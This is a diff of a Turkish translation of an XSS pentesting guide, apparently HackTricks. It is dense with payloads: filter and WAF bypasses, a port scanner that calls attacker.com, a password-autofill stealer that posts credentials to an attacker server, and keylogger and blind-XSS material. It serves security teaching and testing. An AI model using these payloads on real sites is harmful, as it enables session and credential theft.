[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
|
||||
|
||||
### Özel etiketler
|
||||
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekiyor, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Kara Liste Aşmaları
|
||||
|
||||
Eğer bir tür kara liste kullanılıyorsa, onu bazı basit numaralarla aşmayı deneyebilirsiniz:
|
||||
Eğer bir tür kara liste kullanılıyorsa, bunu bazı basit numaralarla aşmayı deneyebilirsiniz:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -239,18 +239,18 @@ Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https:
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa savunmasızsa).
|
||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
|
||||
|
||||
### İmkansız - Dangling Markup
|
||||
|
||||
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) konusunu kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
|
||||
Eğer **JS kodunu çalıştırmak için bir nitelik ile HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar** edebilirsiniz.
|
||||
|
||||
## HTML etiketinin içine enjekte etme
|
||||
|
||||
### Etiketin içinde/nitelik değerinden kaçış
|
||||
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için yapabileceğiniz ilk şey **etiketten kaçış** yapmaktır ve JS kodunu çalıştırmak için [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanmaktır.\
|
||||
Eğer **etiketten kaçış yapamıyorsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçırmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için yapabileceğiniz ilk şey **etiketten kaçmak** ve JS kodunu çalıştırmak için [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanmaktır.\
|
||||
Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etiketin içinde yeni nitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnakların nitelikten kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -268,7 +268,7 @@ Eğer **etiketten kaçış yapamıyorsanız**, etikette yeni nitelikler oluştur
|
||||
### Özellik İçinde
|
||||
|
||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre** bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
Başka ilginç bir **örnek**, `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML kodlaması/URL kodlaması kullanarak olay içinde atlatma**
|
||||
|
||||
@ -301,7 +301,7 @@ HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çal
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Özel Protokoller Attribute İçinde
|
||||
### Özel Protokoller İçinde attribute
|
||||
|
||||
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
|
||||
```javascript
|
||||
@ -351,7 +351,7 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -377,7 +377,7 @@ Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sıra
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Eğer **`<a href=`** etiketine **`target="_blank" ve rel="opener"`** niteliklerini içeren herhangi bir URL enjekte edebiliyorsanız, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
|
||||
Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız ve bu etiket **`target="_blank" ve rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna** edebilirseniz. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
|
||||
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### Kara Liste Atlatmaları
|
||||
|
||||
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dönüp şunları öğrenin:**
|
||||
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dönüp şunları nerede kullanabileceğinizi öğrenin:**
|
||||
|
||||
- **HTML kodlama (HTML etiketleri)**
|
||||
- **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)`
|
||||
@ -440,15 +440,15 @@ Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **
|
||||
|
||||
**HTML etiketleri ve öznitelikler için atlatmalar**
|
||||
|
||||
[Önceki bölümdeki Kara Liste Atlatmalarını](./#blacklist-bypasses) okuyun.
|
||||
[Önceki bölümün Kara Liste Atlatmalarını](./#blacklist-bypasses) okuyun.
|
||||
|
||||
**JavaScript kodu için atlatmalar**
|
||||
|
||||
[Aşağıdaki bölümdeki JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) okuyun.
|
||||
[Aşağıdaki bölümün JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) okuyun.
|
||||
|
||||
### CSS-Aletleri
|
||||
|
||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o zaman **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
|
||||
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -460,7 +460,7 @@ ve
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
şeklinde bulursanız, bağlantımızı şu forma getirebilirsiniz
|
||||
bulursanız, şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
@ -468,19 +468,19 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
|
||||
|
||||
## JavaScript kodu içine enjekte etme
|
||||
|
||||
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
|
||||
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
|
||||
|
||||
### \<script> etiketini kaçırma
|
||||
|
||||
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini kolayca **kapatabilirsiniz:**
|
||||
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini kolayca **kapatmayı** başarabilirsiniz:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.
|
||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir.
|
||||
|
||||
### JS kodu içinde
|
||||
|
||||
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
|
||||
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript yeni satırlar (şu** [**JavaScript yeni satır**](./#javascript-new-lines) **numarası)**
|
||||
**JavaScript yeni satırlar (şu** [**JavaScript yeni satır**](./#javascript-new-lines) **hileden)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -738,21 +738,21 @@ top[8680439..toString(30)](1)
|
||||
````
|
||||
## **DOM zafiyetleri**
|
||||
|
||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
|
||||
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
|
||||
**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
|
||||
**DOM zafiyetlerinin açıklamasının uzatılması nedeniyle** [**bu sayfaya taşındı**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\
|
||||
Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
|
||||
Burada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği** hakkında ayrıntılı bir **açıklama** bulacaksınız.\
|
||||
Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
|
||||
|
||||
### Self-XSS'i Yükseltme
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
|
||||
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -762,7 +762,7 @@ Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.
|
||||
|
||||
### Oturumunuzu yöneticinin gönderme
|
||||
|
||||
Belki bir kullanıcı profiline yöneticiyi ekleyebilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
|
||||
Belki bir kullanıcı, profilini yöneticiyle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
|
||||
|
||||
### Oturum Yansıtma
|
||||
|
||||
@ -776,7 +776,7 @@ Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum
|
||||
|
||||
**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları atlatmak için istismar edebilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL bayrağını Atlatma
|
||||
### PHP FILTER_VALIDATE_EMAIL bayrağı Atlatma
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
@ -823,12 +823,12 @@ Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir.
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 302 yanıtında başlık enjeksiyonu ile XSS
|
||||
### XSS ile 302 yanıtında başlık enjeksiyonu
|
||||
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) konum başlığında birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Location başlığı_, `resource://`.
|
||||
|
||||
### Sadece Harfler, Sayılar ve Noktalar
|
||||
|
||||
@ -836,11 +836,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
|
||||
|
||||
### XSS için Geçerli `<script>` İçerik Türleri
|
||||
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
|
||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
|
||||
|
||||
Chrome'un **yüklenmiş bir script** çalıştırmasına izin verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
|
||||
Chrome'un **yüklenmiş bir script** çalıştırmasına destek verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -869,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **modül** (varsayılan, açıklanacak bir şey yok)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası olarak paketlemenizi sağlayan bir özelliktir.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası haline getirebileceğiniz bir özelliktir.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -896,7 +896,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı, bu da XSS tetikleyebilir.
|
||||
Bu davranış, XSS tetikleyebilecek şekilde kötüye kullanmak için bir kütüphaneyi eval ile yeniden haritalamak amacıyla [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır:
|
||||
```html
|
||||
@ -943,7 +943,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
|
||||
|
||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
|
||||
Örneğin [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
|
||||
|
||||
### Chrome Önbelleği ile XSS
|
||||
|
||||
@ -984,7 +984,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
|
||||
Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), yararsız nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
|
||||
|
||||
- import() kullanarak
|
||||
```javascript
|
||||
@ -999,7 +999,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Bu nedenle, o modülden **başka bir fonksiyonu çağırabiliyorsak**, o fonksiyondan **`require`**'a erişmek için `arguments.callee.caller.arguments[1]` kullanmak mümkündür:
|
||||
Bu nedenle, o modülden **başka bir fonksiyonu çağırabiliyorsak**, o fonksiyondan **`require`** erişmek için `arguments.callee.caller.arguments[1]` kullanmak mümkündür:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1343,7 +1343,7 @@ q.shift()()
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Port Scanner (websockets)
|
||||
### Port Tarayıcı (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
@ -1377,7 +1377,7 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
|
||||
Herhangi bir veri şifre alanına girildiğinde, kullanıcı adı ve şifre saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir şifre seçse ve hiçbir şey yazmasa bile kimlik bilgileri dışarı sızdırılacaktır.
|
||||
|
||||
### Keylogger
|
||||
|
||||
@ -1425,7 +1425,9 @@ shadow-dom.md
|
||||
|
||||
### Poliglotlar
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Kör XSS yükleri
|
||||
|
||||
@ -1471,7 +1473,7 @@ Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.c
|
||||
```
|
||||
### Regex - Gizli İçeriğe Erişim
|
||||
|
||||
[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebilir ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX'in girişi, regex'in giriş değerinin kaldırılmasından sonra hala bulunabilir:
|
||||
[**bu yazıdan**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebilir ki, bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS özniteliklerinde hala bulunabilir. Örneğin, bir REGEX girişi, regex'in girişi değerinin kaldırılmasından sonra hala bulunabilir:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1490,7 +1492,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Brute-Force List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Diğer Açıkları Kötüye Kullanma
|
||||
|
||||
@ -1504,23 +1508,23 @@ xss-in-markdown.md
|
||||
|
||||
### XSS'den SSRF'ye
|
||||
|
||||
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yükle Edge Side Include Injection ile **bunu SSRF'ye yükseltmeyi** deneyin:
|
||||
**Önbellek kullanan** bir sitede XSS mi elde ettiniz? Bu yükle **SSR'ye yükseltmeyi** deneyin:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Bunu çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşmak için kullanın!\
|
||||
Kullanarak çerez kısıtlamalarını, XSS filtrelerini ve daha fazlasını aşabilirsiniz!\
|
||||
Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### Dinamik oluşturulan PDF'de XSS
|
||||
|
||||
